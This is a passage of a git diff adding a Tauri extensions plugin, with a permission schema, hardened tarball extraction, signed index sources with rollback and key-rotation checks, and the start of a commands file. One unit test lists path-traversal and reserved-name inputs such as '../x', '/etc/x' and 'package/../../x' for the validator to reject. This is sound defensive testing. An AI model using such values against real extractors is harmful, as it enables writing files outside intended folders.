"additionalProperties": {+ "$ref": "#/definitions/Value"+ }+ }+ ]+ },+ "Number": {+ "description": "A valid ACL number.",+ "anyOf": [+ {+ "description": "Represents an [`i64`].",+ "type": "integer",+ "format": "int64"+ },+ {+ "description": "Represents a [`f64`].",+ "type": "number",+ "format": "double"+ }+ ]+ },+ "Target": {+ "description": "Platform target.",+ "oneOf": [+ {+ "description": "MacOS.",+ "type": "string",+ "enum": [+ "macOS"+ ]+ },+ {+ "description": "Windows.",+ "type": "string",+ "enum": [+ "windows"+ ]+ },+ {+ "description": "Linux.",+ "type": "string",+ "enum": [+ "linux"+ ]+ },+ {+ "description": "Android.",+ "type": "string",+ "enum": [+ "android"+ ]+ },+ {+ "description": "iOS.",+ "type": "string",+ "enum": [+ "iOS"+ ]+ }+ ]+ },+ "PermissionKind": {+ "type": "string",+ "oneOf": [+ {+ "description": "Enables the accept_next_key command without any pre-configured scope.",+ "type": "string",+ "const": "allow-accept-next-key",+ "markdownDescription": "Enables the accept_next_key command without any pre-configured scope."+ },+ {+ "description": "Denies the accept_next_key command without any pre-configured scope.",+ "type": "string",+ "const": "deny-accept-next-key",+ "markdownDescription": "Denies the accept_next_key command without any pre-configured scope."+ },+ {+ "description": "Enables the add_source command without any pre-configured scope.",+ "type": "string",+ "const": "allow-add-source",+ "markdownDescription": "Enables the add_source command without any pre-configured scope."+ },+ {+ "description": "Denies the add_source command without any pre-configured scope.",+ "type": "string",+ "const": "deny-add-source",+ "markdownDescription": "Denies the add_source command without any pre-configured scope."+ },+ {+ "description": "Enables the confirm_install command without any pre-configured scope.",+ "type": "string",+ "const": "allow-confirm-install",+ "markdownDescription": "Enables the confirm_install command without any pre-configured scope."+ },+ {+ "description": "Denies the confirm_install command without any pre-configured scope.",+ "type": "string",+ "const": "deny-confirm-install",+ "markdownDescription": "Denies the confirm_install command without any pre-configured scope."+ },+ {+ "description": "Enables the discard_stage command without any pre-configured scope.",+ "type": "string",+ "const": "allow-discard-stage",+ "markdownDescription": "Enables the discard_stage command without any pre-configured scope."+ },+ {+ "description": "Denies the discard_stage command without any pre-configured scope.",+ "type": "string",+ "const": "deny-discard-stage",+ "markdownDescription": "Denies the discard_stage command without any pre-configured scope."+ },+ {+ "description": "Enables the get_catalog command without any pre-configured scope.",+ "type": "string",+ "const": "allow-get-catalog",+ "markdownDescription": "Enables the get_catalog command without any pre-configured scope."+ },+ {+ "description": "Denies the get_catalog command without any pre-configured scope.",+ "type": "string",+ "const": "deny-get-catalog",+ "markdownDescription": "Denies the get_catalog command without any pre-configured scope."+ },+ {+ "description": "Enables the http_cancel command without any pre-configured scope.",+ "type": "string",+ "const": "allow-http-cancel",+ "markdownDescription": "Enables the http_cancel command without any pre-configured scope."+ },+ {+ "description": "Denies the http_cancel command without any pre-configured scope.",+ "type": "string",+ "const": "deny-http-cancel",+ "markdownDescription": "Denies the http_cancel command without any pre-configured scope."+ },+ {+ "description": "Enables the http_fetch command without any pre-configured scope.",+ "type": "string",+ "const": "allow-http-fetch",+ "markdownDescription": "Enables the http_fetch command without any pre-configured scope."+ },+ {+ "description": "Denies the http_fetch command without any pre-configured scope.",+ "type": "string",+ "const": "deny-http-fetch",+ "markdownDescription": "Denies the http_fetch command without any pre-configured scope."+ },+ {+ "description": "Enables the http_fetch_stream command without any pre-configured scope.",+ "type": "string",+ "const": "allow-http-fetch-stream",+ "markdownDescription": "Enables the http_fetch_stream command without any pre-configured scope."+ },+ {+ "description": "Denies the http_fetch_stream command without any pre-configured scope.",+ "type": "string",+ "const": "deny-http-fetch-stream",+ "markdownDescription": "Denies the http_fetch_stream command without any pre-configured scope."+ },+ {+ "description": "Enables the list command without any pre-configured scope.",+ "type": "string",+ "const": "allow-list",+ "markdownDescription": "Enables the list command without any pre-configured scope."+ },+ {+ "description": "Denies the list command without any pre-configured scope.",+ "type": "string",+ "const": "deny-list",+ "markdownDescription": "Denies the list command without any pre-configured scope."+ },+ {+ "description": "Enables the list_sources command without any pre-configured scope.",+ "type": "string",+ "const": "allow-list-sources",+ "markdownDescription": "Enables the list_sources command without any pre-configured scope."+ },+ {+ "description": "Denies the list_sources command without any pre-configured scope.",+ "type": "string",+ "const": "deny-list-sources",+ "markdownDescription": "Denies the list_sources command without any pre-configured scope."+ },+ {+ "description": "Enables the read_entry command without any pre-configured scope.",+ "type": "string",+ "const": "allow-read-entry",+ "markdownDescription": "Enables the read_entry command without any pre-configured scope."+ },+ {+ "description": "Denies the read_entry command without any pre-configured scope.",+ "type": "string",+ "const": "deny-read-entry",+ "markdownDescription": "Denies the read_entry command without any pre-configured scope."+ },+ {+ "description": "Enables the remove_source command without any pre-configured scope.",+ "type": "string",+ "const": "allow-remove-source",+ "markdownDescription": "Enables the remove_source command without any pre-configured scope."+ },+ {+ "description": "Denies the remove_source command without any pre-configured scope.",+ "type": "string",+ "const": "deny-remove-source",+ "markdownDescription": "Denies the remove_source command without any pre-configured scope."+ },+ {+ "description": "Enables the rollback command without any pre-configured scope.",+ "type": "string",+ "const": "allow-rollback",+ "markdownDescription": "Enables the rollback command without any pre-configured scope."+ },+ {+ "description": "Denies the rollback command without any pre-configured scope.",+ "type": "string",+ "const": "deny-rollback",+ "markdownDescription": "Denies the rollback command without any pre-configured scope."+ },+ {+ "description": "Enables the set_enabled command without any pre-configured scope.",+ "type": "string",+ "const": "allow-set-enabled",+ "markdownDescription": "Enables the set_enabled command without any pre-configured scope."+ },+ {+ "description": "Denies the set_enabled command without any pre-configured scope.",+ "type": "string",+ "const": "deny-set-enabled",+ "markdownDescription": "Denies the set_enabled command without any pre-configured scope."+ },+ {+ "description": "Enables the set_grants command without any pre-configured scope.",+ "type": "string",+ "const": "allow-set-grants",+ "markdownDescription": "Enables the set_grants command without any pre-configured scope."+ },+ {+ "description": "Denies the set_grants command without any pre-configured scope.",+ "type": "string",+ "const": "deny-set-grants",+ "markdownDescription": "Denies the set_grants command without any pre-configured scope."+ },+ {+ "description": "Enables the set_safe_mode command without any pre-configured scope.",+ "type": "string",+ "const": "allow-set-safe-mode",+ "markdownDescription": "Enables the set_safe_mode command without any pre-configured scope."+ },+ {+ "description": "Denies the set_safe_mode command without any pre-configured scope.",+ "type": "string",+ "const": "deny-set-safe-mode",+ "markdownDescription": "Denies the set_safe_mode command without any pre-configured scope."+ },+ {+ "description": "Enables the stage_bundle command without any pre-configured scope.",+ "type": "string",+ "const": "allow-stage-bundle",+ "markdownDescription": "Enables the stage_bundle command without any pre-configured scope."+ },+ {+ "description": "Denies the stage_bundle command without any pre-configured scope.",+ "type": "string",+ "const": "deny-stage-bundle",+ "markdownDescription": "Denies the stage_bundle command without any pre-configured scope."+ },+ {+ "description": "Enables the stage_from_index command without any pre-configured scope.",+ "type": "string",+ "const": "allow-stage-from-index",+ "markdownDescription": "Enables the stage_from_index command without any pre-configured scope."+ },+ {+ "description": "Denies the stage_from_index command without any pre-configured scope.",+ "type": "string",+ "const": "deny-stage-from-index",+ "markdownDescription": "Denies the stage_from_index command without any pre-configured scope."+ },+ {+ "description": "Enables the uninstall command without any pre-configured scope.",+ "type": "string",+ "const": "allow-uninstall",+ "markdownDescription": "Enables the uninstall command without any pre-configured scope."+ },+ {+ "description": "Denies the uninstall command without any pre-configured scope.",+ "type": "string",+ "const": "deny-uninstall",+ "markdownDescription": "Denies the uninstall command without any pre-configured scope."+ },+ {+ "description": "Default permissions for the extensions plugin: every command, for the main window only (see capabilities/extensions.json)\n#### This default permission set includes:\n\n- `allow-stage-bundle`\n- `allow-confirm-install`\n- `allow-discard-stage`\n- `allow-list`\n- `allow-set-enabled`\n- `allow-set-grants`\n- `allow-uninstall`\n- `allow-rollback`\n- `allow-read-entry`\n- `allow-set-safe-mode`\n- `allow-http-fetch`\n- `allow-http-fetch-stream`\n- `allow-http-cancel`\n- `allow-list-sources`\n- `allow-add-source`\n- `allow-remove-source`\n- `allow-get-catalog`\n- `allow-accept-next-key`\n- `allow-stage-from-index`",+ "type": "string",+ "const": "default",+ "markdownDescription": "Default permissions for the extensions plugin: every command, for the main window only (see capabilities/extensions.json)\n#### This default permission set includes:\n\n- `allow-stage-bundle`\n- `allow-confirm-install`\n- `allow-discard-stage`\n- `allow-list`\n- `allow-set-enabled`\n- `allow-set-grants`\n- `allow-uninstall`\n- `allow-rollback`\n- `allow-read-entry`\n- `allow-set-safe-mode`\n- `allow-http-fetch`\n- `allow-http-fetch-stream`\n- `allow-http-cancel`\n- `allow-list-sources`\n- `allow-add-source`\n- `allow-remove-source`\n- `allow-get-catalog`\n- `allow-accept-next-key`\n- `allow-stage-from-index`"+ }+ ]+ }+ }+}\ No newline at end of filediff --git a/src-tauri/plugins/tauri-plugin-extensions/rollup.config.js b/src-tauri/plugins/tauri-plugin-extensions/rollup.config.jsnew file mode 100644index 000000000..8b4768ff6--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/rollup.config.js@@ -0,0 +1,31 @@+import { readFileSync } from 'node:fs'+import { dirname, join } from 'node:path'+import { cwd } from 'node:process'+import typescript from '@rollup/plugin-typescript'++const pkg = JSON.parse(readFileSync(join(cwd(), 'package.json'), 'utf8'))++export default {+ input: 'guest-js/index.ts',+ output: [+ {+ file: pkg.exports.import,+ format: 'esm'+ },+ {+ file: pkg.exports.require,+ format: 'cjs'+ }+ ],+ plugins: [+ typescript({+ declaration: true,+ declarationDir: dirname(pkg.exports.import)+ })+ ],+ external: [+ /^@tauri-apps\/api/,+ ...Object.keys(pkg.dependencies || {}),+ ...Object.keys(pkg.peerDependencies || {})+ ]+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/bundle.rs b/src-tauri/plugins/tauri-plugin-extensions/src/bundle.rsnew file mode 100644index 000000000..197aff034--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/src/bundle.rs@@ -0,0 +1,377 @@+//! Safe extraction of an npm-style `.tgz` (every path under `package/`).+//!+//! The archive is untrusted. Nothing here calls `Archive::unpack` or trusts a+//! header: sizes are counted on the decompressed stream as it is read, every+//! path is parsed from its raw bytes, only regular files and directories are+//! written, and each file is created with `create_new` inside a destination+//! this function creates itself, so no entry can follow a link or overwrite+//! anything. Exec bits are dropped. On any error the destination is removed.++use std::cell::Cell;+use std::collections::HashMap;+use std::fs::{self, OpenOptions};+use std::io::{self, Read, Write};+use std::path::{Path, PathBuf};+use std::rc::Rc;++use flate2::read::GzDecoder;+use serde_json::Value;+use tar::{Archive, EntryType};++use crate::error::BundleError;++/// Caps applied while extracting.+#[derive(Debug, Clone, Copy, PartialEq, Eq)]+pub struct Limits {+ /// Decompressed bytes of the whole stream (headers and padding included).+ pub max_total_bytes: u64,+ /// Archive entries, directories included.+ pub max_entries: usize,+ /// Bytes of one file.+ pub max_file_bytes: u64,+ /// Distinct directories, explicit or implied by a file's path.+ pub max_dirs: usize,+ /// Segments of one path below `package/`, the file name included.+ pub max_depth: usize,+ /// Bytes of one path below `package/`, `/` separators included. Kept+ /// short enough that the extracted tree fits the Windows MAX_PATH budget+ /// under a typical data folder.+ pub max_path_bytes: usize,+}++impl Default for Limits {+ fn default() -> Self {+ Limits {+ max_total_bytes: 50 * 1024 * 1024,+ max_entries: 2000,+ max_file_bytes: 20 * 1024 * 1024,+ max_dirs: 2000,+ max_depth: 32,+ max_path_bytes: 240,+ }+ }+}++/// What [`extract`] wrote.+#[derive(Debug, Clone, PartialEq)]+pub struct ExtractedPackage {+ /// The destination, holding the contents of `package/`.+ pub root: PathBuf,+ /// `package.json`, parsed.+ pub package_json: Value,+ /// Every file written, relative to `root`, `/`-separated.+ pub files: Vec<String>,+}++/// Counts decompressed bytes and fails once `limit` is passed, so a header+/// claiming a small size cannot hide a large stream.+struct Counted<R> {+ inner: R,+ read: Rc<Cell<u64>>,+ limit: u64,+}++impl<R: Read> Read for Counted<R> {+ fn read(&mut self, buf: &mut [u8]) -> io::Result<usize> {+ let n = self.inner.read(buf)?;+ let total = self.read.get() + n as u64;+ self.read.set(total);+ if total > self.limit {+ return Err(io::Error::other("decompressed size limit exceeded"));+ }+ Ok(n)+ }+}++/// Names Windows treats as devices in any directory, with any extension.+/// Shared with the extension id check, whose parts become directory names.+pub(crate) const RESERVED_NAMES: &[&str] = &[+ "con", "prn", "aux", "nul", "com1", "com2", "com3", "com4", "com5", "com6", "com7", "com8",+ "com9", "lpt1", "lpt2", "lpt3", "lpt4", "lpt5", "lpt6", "lpt7", "lpt8", "lpt9",+];++fn safe_segment(segment: &str) -> bool {+ let stem = segment.split('.').next().unwrap_or("").to_ascii_lowercase();+ !segment.is_empty()+ && segment != "."+ && segment != ".."+ && !segment+ .chars()+ .any(|c| c.is_control() || matches!(c, '\\' | ':' | '<' | '>' | '"' | '|' | '?' | '*'))+ // Windows strips trailing dots and spaces, so `a.` would alias `a`.+ && !segment.ends_with(['.', ' '])+ && !RESERVED_NAMES.contains(&stem.as_str())+}++/// The path of an entry relative to `package/`, as `/`-separated segments,+/// or `None` when it is not a plain relative path under `package/`. An+/// entry for `package/` itself yields an empty list.+pub fn package_relative(raw: &[u8], is_dir: bool) -> Option<Vec<String>> {+ let text = std::str::from_utf8(raw).ok()?;+ let rest = text.strip_prefix("package/")?;+ let rest = if is_dir {+ rest.strip_suffix('/').unwrap_or(rest)+ } else {+ rest+ };+ if rest.is_empty() {+ return is_dir.then(Vec::new);+ }+ let segments: Vec<String> = rest.split('/').map(str::to_string).collect();+ segments+ .iter()+ .all(|s| safe_segment(s))+ .then_some(segments)+}++fn kind_name(kind: EntryType) -> String {+ match kind {+ EntryType::Link => "hard link".into(),+ EntryType::Symlink => "symlink".into(),+ EntryType::Char => "character device".into(),+ EntryType::Block => "block device".into(),+ EntryType::Fifo => "fifo".into(),+ EntryType::Continuous => "contiguous file".into(),+ EntryType::GNUSparse => "sparse file".into(),+ EntryType::XGlobalHeader => "global pax header".into(),+ other => format!("entry of type {:?}", other.as_byte() as char),+ }+}++#[derive(Clone, Copy, PartialEq, Eq)]+enum Seen {+ File,+ Dir,+}++fn set_mode(path: &Path, _mode: u32) -> io::Result<()> {+ #[cfg(unix)]+ {+ use std::os::unix::fs::PermissionsExt;+ fs::set_permissions(path, fs::Permissions::from_mode(_mode))?;+ }+ #[cfg(not(unix))]+ let _ = path;+ Ok(())+}++fn make_dir(path: &Path) -> io::Result<()> {+ match fs::create_dir(path) {+ Ok(()) => set_mode(path, 0o755),+ Err(e) if e.kind() == io::ErrorKind::AlreadyExists && path.is_dir() => Ok(()),+ Err(e) => Err(e),+ }+}++/// Extracts the gzipped tarball `reader` into `dest`, which must not exist.+pub fn extract<R: Read>(reader: R, dest: &Path, limits: Limits) -> Result<ExtractedPackage, BundleError> {+ if fs::symlink_metadata(dest).is_ok() {+ return Err(BundleError::DestinationExists(dest.to_path_buf()));+ }+ if let Some(parent) = dest.parent() {+ fs::create_dir_all(parent)?;+ }+ fs::create_dir(dest)?;+ set_mode(dest, 0o755)?;+ let read = Rc::new(Cell::new(0u64));+ let result = extract_into(reader, dest, limits, &read).map_err(|e| match e {+ // Whatever tar made of the failed read, the cause was the cap.+ BundleError::Io(_) if read.get() > limits.max_total_bytes => BundleError::TooLarge {+ limit: limits.max_total_bytes,+ },+ other => other,+ });+ if result.is_err() {+ // Best effort: the caller's staging cleanup removes anything left.+ let _ = fs::remove_dir_all(dest);+ }+ result+}++fn extract_into<R: Read>(+ reader: R,+ dest: &Path,+ limits: Limits,+ read: &Rc<Cell<u64>>,+) -> Result<ExtractedPackage, BundleError> {+ let counted = Counted {+ inner: GzDecoder::new(reader),+ read: Rc::clone(read),+ limit: limits.max_total_bytes,+ };+ let mut archive = Archive::new(counted);+ let mut seen: HashMap<String, Seen> = HashMap::new();+ let mut files = Vec::new();+ let mut entries = 0usize;+ let mut dirs = 0usize;+ // Counts a directory about to be created, before the syscall.+ let mut new_dir = || -> Result<(), BundleError> {+ dirs += 1;+ if dirs > limits.max_dirs {+ return Err(BundleError::TooManyDirectories {+ limit: limits.max_dirs,+ });+ }+ Ok(())+ };++ for entry in archive.entries()? {+ let mut entry = entry?;+ entries += 1;+ if entries > limits.max_entries {+ return Err(BundleError::TooManyEntries {+ limit: limits.max_entries,+ });+ }+ let raw = entry.path_bytes().into_owned();+ let shown = String::from_utf8_lossy(&raw).into_owned();+ let kind = entry.header().entry_type();+ let is_dir = match kind {+ EntryType::Regular => false,+ EntryType::Directory => true,+ other => {+ return Err(BundleError::UnsupportedEntry {+ path: shown,+ kind: kind_name(other),+ })+ }+ };+ let segments = package_relative(&raw, is_dir).ok_or(BundleError::UnsafePath {+ path: shown.clone(),+ })?;+ if segments.is_empty() {+ continue;+ }+ // Bounds the per-entry work below: without them a few KiB of+ // compressed headers can demand millions of ancestor checks.+ let joined = segments.join("/");+ if segments.len() > limits.max_depth || joined.len() > limits.max_path_bytes {+ return Err(BundleError::PathTooLong {+ path: shown,+ max_depth: limits.max_depth,+ max_bytes: limits.max_path_bytes,+ });+ }++ // Every ancestor is a directory, and nothing may already be a file+ // there, compared case-insensitively as macOS and Windows would. An+ // ancestor already recorded as a directory exists on disk.+ let lower_segments: Vec<String> = segments.iter().map(|s| s.to_lowercase()).collect();+ let lower = lower_segments.join("/");+ let mut target = dest.to_path_buf();+ let mut end = 0;+ for (segment, lower_segment) in segments.iter().zip(&lower_segments).take(segments.len() - 1) {+ // Offsets come from the lowercased segments: lowercasing may+ // change a character's byte length.+ end += lower_segment.len();+ let ancestor = &lower[..end];+ end += 1;+ target.push(segment);+ match seen.get(ancestor) {+ Some(Seen::Dir) => continue,+ Some(Seen::File) => return Err(BundleError::Duplicate { path: shown }),+ None => {}+ }+ new_dir()?;+ seen.insert(ancestor.to_string(), Seen::Dir);+ make_dir(&target)?;+ }+ target.push(&segments[segments.len() - 1]);+ if is_dir {+ match seen.get(&lower) {+ Some(Seen::Dir) => {}+ Some(Seen::File) => return Err(BundleError::Duplicate { path: shown }),+ None => {+ new_dir()?;+ seen.insert(lower, Seen::Dir);+ make_dir(&target)?;+ }+ }+ continue;+ }+ if seen.insert(lower, Seen::File).is_some() {+ return Err(BundleError::Duplicate { path: shown });+ }+ let declared = entry.header().size()?;+ if declared > limits.max_file_bytes {+ return Err(BundleError::FileTooLarge {+ path: shown,+ limit: limits.max_file_bytes,+ });+ }+ let mut file = OpenOptions::new().write(true).create_new(true).open(&target)?;+ let written = io::copy(&mut (&mut entry).take(limits.max_file_bytes + 1), &mut file)?;+ if written > limits.max_file_bytes {+ return Err(BundleError::FileTooLarge {+ path: shown,+ limit: limits.max_file_bytes,+ });+ }+ file.flush()?;+ drop(file);+ set_mode(&target, 0o644)?;+ files.push(joined);+ }++ // Read to the end of the gzip stream: it checks the CRC, and anything+ // after the archive still counts towards the size cap.+ let mut rest = archive.into_inner();+ io::copy(&mut rest, &mut io::sink())?;++ if !files.iter().any(|f| f == "package.json") {+ return Err(BundleError::MissingPackageJson);+ }+ let text = fs::read(dest.join("package.json"))?;+ let package_json: Value =+ serde_json::from_slice(&text).map_err(|e| BundleError::BadPackageJson(e.to_string()))?;+ if !package_json.is_object() {+ return Err(BundleError::BadPackageJson("not an object".into()));+ }+ Ok(ExtractedPackage {+ root: dest.to_path_buf(),+ package_json,+ files,+ })+}++#[cfg(test)]+mod tests {+ use super::*;++ fn rel(raw: &str) -> Option<Vec<String>> {+ package_relative(raw.as_bytes(), false)+ }++ #[test]+ fn accepts_plain_paths_under_package() {+ assert_eq!(rel("package/a/b.js"), Some(vec!["a".into(), "b.js".into()]));+ assert_eq!(package_relative(b"package/", true), Some(vec![]));+ assert_eq!(package_relative(b"package/dist/", true), Some(vec!["dist".into()]));+ }++ #[test]+ fn rejects_every_unsafe_form() {+ for raw in [+ "../x",+ "/etc/x",+ "package/../../x",+ "package/./x",+ "package//x",+ "package/a/",+ "package/C:\\x",+ "C:\\x",+ "package\\x",+ "package/a\u{0}b",+ "package/a\u{7}",+ "package/con.js",+ "package/a.",+ "package/a ",+ "x/package.json",+ "package",+ "Package/x",+ ] {+ assert_eq!(rel(raw), None, "{raw:?}");+ }+ assert_eq!(package_relative(&[b'p', 0xff], false), None);+ }+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/catalog.rs b/src-tauri/plugins/tauri-plugin-extensions/src/catalog.rsnew file mode 100644index 000000000..78ea17dd7--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/src/catalog.rs@@ -0,0 +1,254 @@+//! Index sources and catalog operations over an [`ExtensionsState`]: the+//! command bodies of `list_sources`, `add_source`, `remove_source`,+//! `get_catalog`, `stage_from_index` and `accept_next_key`.+//!+//! Every index read from a source with a pinned key is signature-checked+//! (see [`index::fetch_index`]); a failure rejects the catalog and any+//! install from it before the index is parsed. A signed index must also be+//! fresh (see [`accept_index`]): not older than the newest one accepted+//! from the source and not past its `expires`.++use serde::{Deserialize, Serialize};++use crate::error::{Error, Result};+use crate::index::{self, CuratedIndex, FetchedIndex};+use crate::install::{self, StagedInstall};+use crate::sources::{self, IndexSourceEntry, RemovedPin, Sources, SourcesNotice};+use crate::state::{lock, ExtensionsState, StageSlot};+use crate::store::unix_now;++/// The sources as `list_sources` returns them.+#[derive(Debug, Clone, PartialEq, Eq, Serialize)]+#[serde(rename_all = "camelCase")]+pub struct SourceList {+ /// Every source the user added.+ pub sources: Vec<IndexSourceEntry>,+ /// Keys of keyed sources the user removed, so the UI can warn when one+ /// of their URLs is added again without a key.+ pub removed_pins: Vec<RemovedPin>,+ /// Set when `sources.json` had to be repaired this session.+ pub notice: Option<SourcesNotice>,+}++/// Loads the store, keeping any repair notice for [`list_sources`]. The+/// caller holds `sources_lock`.+fn load_store(state: &ExtensionsState) -> Result<Sources> {+ let (store, notice) = sources::load_reporting(state.root())?;+ if notice.is_some() {+ *lock(&state.sources_notice) = notice;+ }+ Ok(store)+}++/// Every source the user added, the removed pins, and what a repair of the+/// store dropped, if anything.+pub fn list_sources(state: &ExtensionsState) -> Result<SourceList> {+ let _guard = lock(&state.sources_lock);+ let store = load_store(state)?;+ Ok(SourceList {+ sources: store.sources,+ removed_pins: store.removed_pins,+ notice: lock(&state.sources_notice).clone(),+ })+}++/// Adds an https index source, pinning `public_key` if given.+pub fn add_source(+ state: &ExtensionsState,+ url: &str,+ name: &str,+ public_key: Option<&str>,+) -> Result<IndexSourceEntry> {+ let _guard = lock(&state.sources_lock);+ let mut store = load_store(state)?;+ let entry = store.add(url, name, public_key)?;+ sources::save(state.root(), &store)?;+ Ok(entry)+}++/// Removes a source. Extensions installed from it stay installed; the key+/// of a keyed source is remembered as a removed pin.+pub fn remove_source(state: &ExtensionsState, id: &str) -> Result<()> {+ let _guard = lock(&state.sources_lock);+ let mut store = load_store(state)?;+ store.remove(id)?;+ sources::save(state.root(), &store)+}++fn source(state: &ExtensionsState, id: &str) -> Result<IndexSourceEntry> {+ let _guard = lock(&state.sources_lock);+ Ok(load_store(state)?.get(id)?.clone())+}++/// A source's index as the catalog shows it.+#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]+#[serde(rename_all = "camelCase")]+pub struct Catalog {+ /// The index document.+ pub index: CuratedIndex,+ /// The source has a pinned key and this index's signature verified.+ /// False means an unsigned source.+ pub signed: bool,+ /// A key rotation to offer the user: the signed index's+ /// `nextPublicKey` when it differs from the pinned key. Never set for+ /// an unsigned source, whose index could name any key.+ pub next_public_key: Option<String>,+}++fn rotation_offer(entry: &IndexSourceEntry, fetched: &FetchedIndex) -> Option<String> {+ if !fetched.signed {+ return None;+ }+ fetched+ .index+ .next_public_key+ .clone()+ .filter(|next| entry.public_key.as_deref() != Some(next.as_str()))+}++/// Fetches the index of `entry`, verifies it for a keyed source and checks+/// it is fresh with [`accept_index`]. Every read of an index goes through+/// here: the catalog, staging an install and a key rotation.+async fn fetch(state: &ExtensionsState, entry: &IndexSourceEntry) -> Result<FetchedIndex> {+ let fetched = index::fetch_index(&state.document_http, &entry.url, entry.public_key.as_deref()).await?;+ accept_index(state, entry, &fetched, unix_now())?;+ Ok(fetched)+}++/// Rollback protection for a signed index `fetched` from `entry` at `now`+/// (seconds since the epoch). It is refused with a `signature` error when+/// its `generatedAt` is before the newest one accepted from the source, or+/// its `expires` has passed; otherwise a newer `generatedAt` is recorded in+/// `sources.json`. An equal one is the same index fetched again and is+/// accepted. An unsigned index is not checked: whoever serves it can write+/// any date into it.+pub fn accept_index(state: &ExtensionsState, entry: &IndexSourceEntry, fetched: &FetchedIndex, now: u64) -> Result<()> {+ if !fetched.signed {+ return Ok(());+ }+ if !index::check_freshness(&fetched.index, entry.last_generated_at.as_deref(), now)? {+ return Ok(());+ }+ let _guard = lock(&state.sources_lock);+ let mut store = load_store(state)?;+ // A concurrent fetch may have recorded a newer index since `entry` was+ // read; check against what is stored now.+ let stored = store.get(&entry.id)?.last_generated_at.clone();+ if index::check_freshness(&fetched.index, stored.as_deref(), now)? {+ store.set_last_generated_at(&entry.id, &fetched.index.generated_at)?;+ sources::save(state.root(), &store)?;+ }+ Ok(())+}++/// Fetches and, for a keyed source, verifies the index of `source_id`.+pub async fn get_catalog(state: &ExtensionsState, source_id: &str) -> Result<Catalog> {+ let entry = source(state, source_id)?;+ let fetched = fetch(state, &entry).await?;+ Ok(catalog_of(&entry, fetched))+}++/// The catalog view of an index `fetched` from `entry`.+pub fn catalog_of(entry: &IndexSourceEntry, fetched: FetchedIndex) -> Catalog {+ Catalog {+ next_public_key: rotation_offer(entry, &fetched),+ signed: fetched.signed,+ index: fetched.index,+ }+}++/// Re-pins the key of `source_id` to `next_public_key` once the user+/// confirmed it. The index is fetched again and must verify with the key+/// pinned now and still offer exactly `next_public_key`; otherwise nothing+/// changes. There is no other way to change a pinned key.+pub async fn accept_next_key(+ state: &ExtensionsState,+ source_id: &str,+ next_public_key: &str,+) -> Result<IndexSourceEntry> {+ let entry = source(state, source_id)?;+ let fetched = fetch(state, &entry).await?;+ apply_rotation(state, &entry, &fetched, next_public_key)+}++/// The checks and the store update of [`accept_next_key`], given the index+/// `fetched` from `entry` with its key at the time.+pub fn apply_rotation(+ state: &ExtensionsState,+ entry: &IndexSourceEntry,+ fetched: &FetchedIndex,+ next_public_key: &str,+) -> Result<IndexSourceEntry> {+ let current = match (&entry.public_key, fetched.signed) {+ (Some(current), true) => current,+ _ => {+ return Err(Error::Denied(+ "only a signed index can rotate its source's key".into(),+ ))+ }+ };+ if rotation_offer(entry, fetched).as_deref() != Some(next_public_key) {+ return Err(Error::Denied(+ "the signed index does not offer this key as nextPublicKey".into(),+ ));+ }+ let _guard = lock(&state.sources_lock);+ let mut store = load_store(state)?;+ let rotated = store.rotate_key(&entry.id, current, next_public_key)?;+ sources::save(state.root(), &store)?;+ Ok(rotated)+}++/// A tarball downloaded from an index source, not yet extracted.+pub struct Downloaded {+ /// The source it came from.+ pub source: IndexSourceEntry,+ /// The index as fetched, with whether its signature verified.+ pub index: FetchedIndex,+ /// The tarball bytes, already checked against the pinned SRI.+ pub bytes: Vec<u8>,+ /// The stage slot reserved before the download.+ pub slot: StageSlot,+}++/// Fetches (and for a keyed source verifies) the index of `source_id` and+/// downloads the tarball of `id@version` it lists (https, at most 50 MiB,+/// SRI checked). A stage slot is reserved first, so no download starts+/// while the stages are full.+pub async fn download_from_index(+ state: &ExtensionsState,+ source_id: &str,+ id: &str,+ version: &str,+) -> Result<Downloaded> {+ let slot = StageSlot::reserve(state)?;+ let source = source(state, source_id)?;+ let index = fetch(state, &source).await?;+ let listed = index::resolve(&index.index, id, version)?.clone();+ let bytes = index::download_tarball(&state.index_http, &listed).await?;+ Ok(Downloaded {+ source,+ index,+ bytes,+ slot,+ })+}++/// Stages what [`download_from_index`] fetched, checking the package against+/// the listing. Blocking: it extracts to disk.+pub fn stage_downloaded(+ state: &ExtensionsState,+ downloaded: Downloaded,+ id: &str,+ version: &str,+) -> Result<StagedInstall> {+ install::stage_index_tarball(+ state,+ downloaded.slot,+ &downloaded.source,+ &downloaded.index,+ id,+ version,+ &downloaded.bytes,+ )+}diff --git a/src-tauri/plugins/tauri-plugin-extensions/src/commands.rs b/src-tauri/plugins/tauri-plugin-extensions/src/commands.rsnew file mode 100644index 000000000..96c5bd130--- /dev/null+++ b/src-tauri/plugins/tauri-plugin-extensions/src/commands.rs@@ -0,0 +1,218 @@+//! The Tauri commands: thin wrappers that move the blocking work of+//! [`crate::install`] off the main thread and forward network calls to+//! [`crate::http`].++use std::path::PathBuf;+use std::sync::Arc;++use tauri::ipc::Channel;+use tauri::plugin::{Builder, TauriPlugin};+use tauri::{AppHandle, Manager, Runtime, State};++use crate::catalog::{self, Catalog, SourceList};+use crate::error::{Error, Result};+use crate::http::{self, HttpRequest, HttpResponse, HttpStreamEvent};+use crate::install::{self, EntrySource, InstalledExtension, ListResult, StagedInstall};+use crate::sources::IndexSourceEntry;+use crate::state::{safe_mode_from_env, ExtensionsState, Options};+use crate::store::random_id;++type Shared<'a> = State<'a, Arc<ExtensionsState>>;++async fn blocking<T, F>(state: &Shared<'_>, f: F) -> Result<T>+where+ T: Send + 'static,+ F: FnOnce(&ExtensionsState) -> Result<T> + Send + 'static,+{+ let state = Arc::clone(state.inner());+ tauri::async_runtime::spawn_blocking(move || f(&state))+ .await+ .map_err(|e| Error::Io(std::io::Error::other(e.to_string())))?+}++#[tauri::command]+async fn stage_bundle(state: Shared<'_>, path: String) -> Result<StagedInstall> {+ blocking(&state, move |s| install::stage_bundle(s, &PathBuf::from(path))).await+}++#[tauri::command]+async fn confirm_install(+ state: Shared<'_>,+ stage_id: String,+ granted: Vec<String>,+) -> Result<InstalledExtension> {+ blocking(&state, move |s| install::confirm_install(s, &stage_id, &granted)).await+}++#[tauri::command]+async fn discard_stage(state: Shared<'_>, stage_id: String) -> Result<()> {+ blocking(&state, move |s| 